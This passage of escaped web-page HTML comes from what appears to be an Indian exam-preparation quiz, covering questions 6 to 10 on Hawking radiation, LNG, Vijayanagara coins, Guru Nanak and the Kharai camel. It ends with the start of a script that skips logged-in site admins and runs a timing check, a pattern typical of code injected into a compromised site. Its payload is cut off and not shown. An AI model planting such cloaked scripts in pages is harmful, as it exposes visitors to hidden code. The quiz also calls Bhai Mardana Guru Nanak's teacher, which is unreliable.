hole<\/strong> \u2014 smaller black holes emit more radiation.<\/li>\n\n\n\n<li>Hawking radiation suggests that <strong>black holes are not entirely black<\/strong>, but slowly emit energy until they vanish.<\/li>\n\n\n\n<li>The theory combines principles of <strong>quantum mechanics, general relativity, and thermodynamics<\/strong> \u2014 bridging major areas of physics.<\/li>\n\n\n\n<li>It provides insight into the <strong>\u201cinformation paradox\u201d<\/strong> \u2014 whether information is lost when a black hole evaporates.<\/li>\n\n\n\n<li>So far, <strong>Hawking radiation has not been directly observed<\/strong>, but experiments attempt to simulate it using analogue systems like Bose\u2013Einstein condensates.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"416\" height=\"277\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-8.png\" alt=\"\" class=\"wp-image-2699\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-8.png 416w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-8-300x200.png 300w\" sizes=\"auto, (max-width: 416px) 100vw, 416px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"469\" height=\"277\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-9.png\" alt=\"\" class=\"wp-image-2700\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-9.png 469w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-9-300x177.png 300w\" sizes=\"auto, (max-width: 469px) 100vw, 469px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong><br><br><strong>Q. Which one of the following statements best reflects the idea behind the &#8220;Fractional Orbital Bombardment System&#8221; often talked about in media ?<\/strong> <br><br>(a) A hypersonic missile is launched into space to counter the asteroid approaching the Earth and explode it in space; <br>(b) A spacecraft lands on another planet after making several orbital motions. <br><strong>(c) A missile is put into a stable orbit around the Earth and deorbits over a target on the Earth.<\/strong> <br>(d) A spacecraft moves along a comet with the same speed and places a probe on its surface.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-95 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/science\/gamma-ray-bursts-from-black-hole-morsels-could-expose-quantum-gravity\/article70239488.ece#:~:text=A%20new%20theoretical%20study%20has,unique%20probes%20of%20quantum%20gravity&amp;text=We%20know%20gravity%20as%20the,makes%20things%20fall%20&#039;down\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/science\/gamma-ray-bursts-from-black-hole-morsels-could-expose-quantum-gravity\/article70239488.ece#:~:text=A%20new%20theoretical%20study%20has,unique%20probes%20of%20quantum%20gravity&amp;text=We%20know%20gravity%20as%20the,makes%20things%20fall%20&#8217;down<\/strong><\/a><strong>&#8216;.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>7. With reference to Liquefied Natural Gas (LNG), consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">1. It is formed when natural gas is compressed under high pressure and high temperature subsequently.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">2. It is colorless, odorless, non-toxic, and non-corrosive.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\">3. India is the world\u2019s fourth-largest importer of Liquefied Natural Gas (LNG).<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(c) 1 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\">(d) 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Answer: (b) 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>In NEWS: <\/strong>Asia LNG imports slip on weak China<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\"><strong>Liquefied Natural Gas (LNG):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-109\">\n<li>Liquefied Natural Gas (LNG) is <strong>natural gas that has been cooled to around \u2013162\u00b0C<\/strong>, converting it from a gaseous to a liquid state for ease of storage and transportation. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Composition:<\/strong> It mainly contains <strong>methane (CH\u2084)<\/strong>, with small amounts of ethane, propane, and nitrogen.<\/li>\n\n\n\n<li><strong>Volume Reduction:<\/strong> In liquid form, <strong>natural gas volume reduces by about 600 times<\/strong>, making it economical to transport over long distances where pipelines are not feasible.<\/li>\n\n\n\n<li><strong>Non-toxic and Non-corrosive:<\/strong> LNG is <strong>colorless, odorless, non-toxic, and non-corrosive<\/strong>. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Production Process:<\/strong> It is produced by <strong>purifying natural gas<\/strong> (removing water, CO\u2082, sulfur, and heavy hydrocarbons) and then <strong>liquefying<\/strong> it at cryogenic temperatures.<\/li>\n\n\n\n<li><strong>Storage and Transport:<\/strong> LNG is stored in <strong>insulated cryogenic tanks<\/strong> and transported mainly by <strong>specialized LNG carriers (ships)<\/strong>.<\/li>\n\n\n\n<li><strong>Regasification:<\/strong> At receiving terminals, LNG is <strong>converted back into gas (regasified)<\/strong> and supplied through pipelines to consumers.<\/li>\n\n\n\n<li><strong>Major Exporters:<\/strong> <strong>Qatar, Australia, United States, and Russia<\/strong> are leading LNG exporters.<\/li>\n\n\n\n<li><strong>Major Importers:<\/strong> <strong>Japan, China, South Korea, and India<\/strong> are among the top LNG importers.<\/li>\n\n\n\n<li><strong>Environmental Aspect:<\/strong> LNG burns cleaner than coal and oil, producing <strong>less CO\u2082, SO\u2082, and particulate matter<\/strong>, making it a <strong>transition fuel<\/strong> toward cleaner energy.<\/li>\n\n\n\n<li><strong>In India:<\/strong><ul><li>India, Asia\u2019s fourth-largest LNG importer. <strong>Hence statement 3 is incorrect.<\/strong><\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>LNG is a key part of India\u2019s plan to increase the <strong>natural gas share in the energy mix to 15% by 2030<\/strong>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Major LNG Terminals in India:<\/strong><ul><li><strong>Dahej (Gujarat)<\/strong> \u2013 operated by Petronet LNG Ltd<\/li><\/ul><ul><li><strong>Hazira (Gujarat)<\/strong> \u2013 Shell and Total<\/li><\/ul><ul><li><strong>Kochi (Kerala)<\/strong> \u2013 Petronet LNG<\/li><\/ul><ul><li><strong>Ennore (Tamil Nadu)<\/strong> \u2013 Indian Oil Corporation<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>Dabhol (Maharashtra)<\/strong> \u2013 GAIL<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Policy Aspect:<\/strong> The Indian government promotes <strong>city gas distribution (CGD)<\/strong> and <strong>LNG as fuel for heavy transport<\/strong> under its clean energy mission.<\/li>\n\n\n\n<li><strong>Strategic Importance:<\/strong> LNG helps in <strong>energy security diversification<\/strong> and <strong>reduces dependence on crude oil imports<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2014)<\/strong> <br><br><strong>Q. With reference to two non-conventional energy sources called \u2018coalbed methane\u2019 and \u2018shale gas\u2019, consider the following statements:<\/strong> <br><br>1. Coalbed methane is the pure methane gas extracted from coal seams, while shale gas is a mixture of propane and butane only that can be extracted from fine-grained sedimentary rocks. <br>2. In India, abundant coalbed methane sources exist, but so far no shale gas sources have been found. <br><br><strong>Which of the statement(s) given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 only <br>(c) Both 1 and 2 <br><strong>(d) Neither 1 nor 2<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/154956\/OPS\/GQFF365MF.1+G3FF4B233.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/154956\/OPS\/GQFF365MF.1+G3FF4B233.1.html<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>8. With reference to the coinage of the Vijayanagara Empire, consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\">I. The coins were mainly produced using the punch-marking technique.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-113 wp-block-paragraph\">II. Gold, silver, and copper were the principal metals used.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">III. The Varaha or Pagoda was the standard gold coin of the empire.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\">IV. The coins were known for their purity and wide circulation even beyond South India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-116 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-117 wp-block-paragraph\">(a) I and II only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\">(b) II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">(c) I, II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">(d), II and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Answer: (b) II, III and IV<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\"><strong>In NEWS: <\/strong>Punch-marked gold coins dating back to Vijayanagara-era unearthed in Tiruvannamalai.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\"><strong>Coinage in the Vijayanagara period:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-125\">\n<li>The empire developed a sophisticated, die-struck coinage system. <strong>Hence statement I is incorrect.<\/strong><\/li>\n\n\n\n<li>Coins were struck using engraved dies; each carried uniform designs and legends.<\/li>\n\n\n\n<li><strong>Materials:<\/strong> Gold, silver, and copper. <strong>Hence statement II is correct.<\/strong><\/li>\n\n\n\n<li><strong>Shapes:<\/strong> Mostly circular or square, well-minted using dies.<\/li>\n\n\n\n<li><strong>Designs: <\/strong>The boar (varaha) or Gandabherunda (two-headed eagle) was a common royal symbol.<\/li>\n\n\n\n<li>The Varaha (also called Pagoda by Europeans) was the standard gold coin. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li><strong>Weight:<\/strong> Approximately 3.4 to 3.6 grams of high-purity gold.<\/li>\n\n\n\n<li>Inscriptions were typically in Nagari, Kannada, or Telugu scripts.<\/li>\n\n\n\n<li>Some coins carried names of rulers, such as Harihara, Bukka Raya, Krishna Deva Raya, etc.<\/li>\n\n\n\n<li>Gold varahas (pagodas) were famous for their purity and wide circulation, even beyond South India. <strong>Hence statement IV is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>&nbsp;Notable Rulers and Their Coinage:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Ruler<\/strong><\/td><td><strong>Period<\/strong><\/td><\/tr><tr><td><strong>Harihara I &amp; Bukka Raya I (1336\u20131377)<\/strong><\/td><td>Early gold and copper issues with simple deity symbols; some bilingual legends (Nagari\u2013Kannada).<\/td><\/tr><tr><td><strong>Deva Raya I &amp; II (1406\u20131446)<\/strong><\/td><td>Refinement of gold coinage; increased use of Lakshmi and Vishnu motifs.<\/td><\/tr><tr><td><strong>Krishna Deva Raya (1509\u20131529)<\/strong><\/td><td>Peak of numismatic art; coins show Balakrishna, Vishnu, and his own name \u201cSri Krishnadevaraya.\u201d His gold pagodas became standard currency across South India.<\/td><\/tr><tr><td><strong>Achyuta Deva Raya &amp; successors<\/strong><\/td><td>Introduced double-headed eagle emblem; gradual diversification of regional mints.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. In medieval India, the term &#8220;Fanam&#8221; referred to:<\/strong> <br><br>(a) Clothing <br><strong>(b) Coins<\/strong> <br>(c) Ornaments <br>(d) Weapons<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/punch-marked-gold-coins-dating-back-to-vijayanagara-era-unearthed-in-tiruvannamalai\/article70240206.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/tamil-nadu\/punch-marked-gold-coins-dating-back-to-vijayanagara-era-unearthed-in-tiruvannamalai\/article70240206.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>9. He was the founder of Sikhism, preached the oneness of God and equality by rejecting caste, ritualism, and idol worship. Identify the spiritual reformer.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\">(a) Guru Nanak Dev<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\">(b) Guru Gobind Singh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(c) Guru Angad Dev<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\">(d) Guru Arjan Dev<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>Answer: (a) Guru Nanak Dev<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>In NEWS: <\/strong>PRESIDENT\u2019S GREETINGS ON THE EVE OF BIRTHDAY OF GURU NANAK DEV JI<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"405\" height=\"303\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-10.png\" alt=\"\" class=\"wp-image-2701\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-10.png 405w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-10-300x224.png 300w\" sizes=\"auto, (max-width: 405px) 100vw, 405px\" \/><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Guru Nanak:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-137\">\n<li><strong>Guru Nanak Dev Ji (1469\u20131539)<\/strong> was the <strong>founder of Sikhism<\/strong> and the <strong>first of the ten Sikh Gurus<\/strong>.<\/li>\n\n\n\n<li>He was born at <strong>Talwandi (now Nankana Sahib, Pakistan)<\/strong> in <strong>1469<\/strong> during the reign of the Lodis.<\/li>\n\n\n\n<li>His father was <strong>Kalyan Chand (Mehta Kalu)<\/strong>, an accountant; his mother was <strong>Mata Tripta<\/strong>.<\/li>\n\n\n\n<li>His spiritual teacher and lifelong companion was <strong>Bhai Mardana<\/strong>, a Muslim musician.<\/li>\n\n\n\n<li>Guru Nanak\u2019s teachings emphasized the <strong>oneness of God<\/strong>, <strong>equality of all human beings<\/strong>, and rejection of <strong>caste distinctions, idol worship, and ritualism<\/strong>.<\/li>\n\n\n\n<li>His core message: <em>\u201cIk Onkar\u201d<\/em> \u2014 \u201cThere is only one God.\u201d<\/li>\n\n\n\n<li>He believed in achieving salvation through <strong>Naam Japna (meditation on God\u2019s name)<\/strong>, <strong>Kirat Karni (honest living)<\/strong>, and <strong>Vand Chakna (sharing with others)<\/strong>.<\/li>\n\n\n\n<li>He undertook <strong>four major Udasis (spiritual journeys)<\/strong> across India, Tibet, Arabia, and Sri Lanka to spread his message.<\/li>\n\n\n\n<li>He established the town of <strong>Kartarpur (in present-day Pakistan)<\/strong> in <strong>1522<\/strong>, where he spent the later part of his life.<\/li>\n\n\n\n<li>His compositions are included in the <strong>Guru Granth Sahib<\/strong>, the holy scripture of the Sikhs.<\/li>\n\n\n\n<li>Guru Nanak promoted the idea of <strong>universal brotherhood<\/strong> and <strong>harmony between Hindus and Muslims<\/strong>.<\/li>\n\n\n\n<li>His teachings laid the foundation for a <strong>monotheistic and egalitarian<\/strong> religious order \u2014 <strong>Sikhism<\/strong>.<\/li>\n\n\n\n<li>He appointed <strong>Bhai Lehna<\/strong> as his successor, who became <strong>Guru Angad Dev Ji (2nd Guru)<\/strong>.<\/li>\n\n\n\n<li>The birth anniversary of Guru Nanak is celebrated as <strong>Guru Nanak Jayanti or Gurpurab<\/strong> on the <strong>full moon day of Kartik month<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>Hence option (a) is correct.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2013)<\/strong> <br><br><strong>Q. Consider the following Bhakti Saints:<\/strong> <br><br>1. Dadu Dayal <br>2. Guru Nanak <br>3. Tyagaraja <br><br><strong>Who among the above was\/were preaching when the Lodi dynasty fell and Babur took over?<\/strong> <br><br>(a) 1 and 3 <br><strong>(b) 2 only<\/strong> <br>(c) 2 and 3 <br>(d) 1 and 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-vivid-purple-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186272\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2186272<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\"><strong>10. What is\/are unique about &#8216;Kharai camel&#8217; a breed found in India?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\">1. It is capable of swimming up to three kilometres in seawater.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">2. It survives by grazing on mangroves.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\">3. It lives in the wild and cannot be domesticated.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(b) 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Answer: (a) 1 and 2 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>The Kharai camel, also known as the swimming camel, can swim several kilometres (up to 3 km) in seawater to reach mangrove islands. <strong>Hence statement 1 is correct.<\/strong><\/li>\n\n\n\n<li>It is found mainly in the Kutch region of Gujarat.<\/li>\n\n\n\n<li>This camel feeds on mangrove vegetation such as Avicennia and Rhizophora species, making it uniquely adapted to coastal ecosystems. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The Kharai camel is domesticated and reared by local communities, especially by the Rabari and Jat pastoralists of Gujarat. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new 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